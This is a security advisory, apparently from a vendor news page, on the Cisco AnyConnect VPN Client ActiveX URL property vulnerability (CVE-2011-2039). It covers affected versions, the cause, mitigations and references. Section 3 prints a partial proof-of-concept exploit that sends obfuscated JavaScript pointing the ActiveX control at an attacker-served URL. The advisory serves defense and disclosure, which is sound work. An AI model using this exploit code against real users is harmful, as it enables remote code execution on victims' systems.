Security News

2011-26011 Cisco AnyConnect VPN Client ActiveX URL Property Vulnerability

1. Affected Version

Microsoft Windows:

- All versions prior to 2.3.185

Linux, Apple MacOS X:

- All versions in major releases other than 2.5.x and 3.0.x.
- 2.5.x releases prior to 2.5.3041
- 3.0.x releases prior to 3.0.629

2. Description

The Cisco AnyConnect Secure Mobility Client, previously known as the Cisco AnyConnect VPN Client, is affected by the following vulnerabilities:

- Arbitrary Program Execution Vulnerability
- Local Privilege Escalation Vulnerability

3. Vulnerability Analysis

The partial proof-of-concept code is listed as follows:

```
url = get_uri(cli)
dir = rand_text_alpha((rand(40) + 1))
js = ::Rex::Exploitation::JSObfu.new %Q|
var x = document.createElement("object");
x.setAttribute("classid", "clsid:55963676-2F5E-4BAF-AC28-CF26AA587566");
x.url = "#{url}/#{dir}/";

js.obfuscate
html = "<html>\n\t<script>#{js}\t</script>\n</html>"
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
send_response_html(cli, html)
```

Table 1: The partial proof-of-concept code

The vulnerability is caused by improper validation of the authenticity of the downloaded Cisco AnyConnect Secure Mobility Client executable when the client is deployed from the VPN headend. By convincing a user to visit a specially-crafted Web site, an attacker could exploit this vulnerability to execute arbitrary code on the system.

4. Recommendation

1. AegisLab IDP signature database can prevent this attack since 17/06/2011.
2. Contact your vendor for an appropriate patch.
3. US-CERT has suggested the following workarounds:
   - Disable the Cisco AnyConnect VPN Client ActiveX control in Internet Explorer.
   - Remove the Cisco AnyConnect VPN Java applet.
   - Disable the vulnerable Cisco AnyConnect VPN Java applets.
   - Remove Cisco Systems, Inc. from the list of trusted Java certificates.
   - Use the stand-alone Cisco AnyConnect VPN client.

For more detail info, please refer to CERT VU#490097

5. Reference

1.http://www.cisco.com/en/US/products/products_security_advisory09186a0080b80123.shtml
2. http://www.kb.cert.org/vuls/id/490097
3. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2039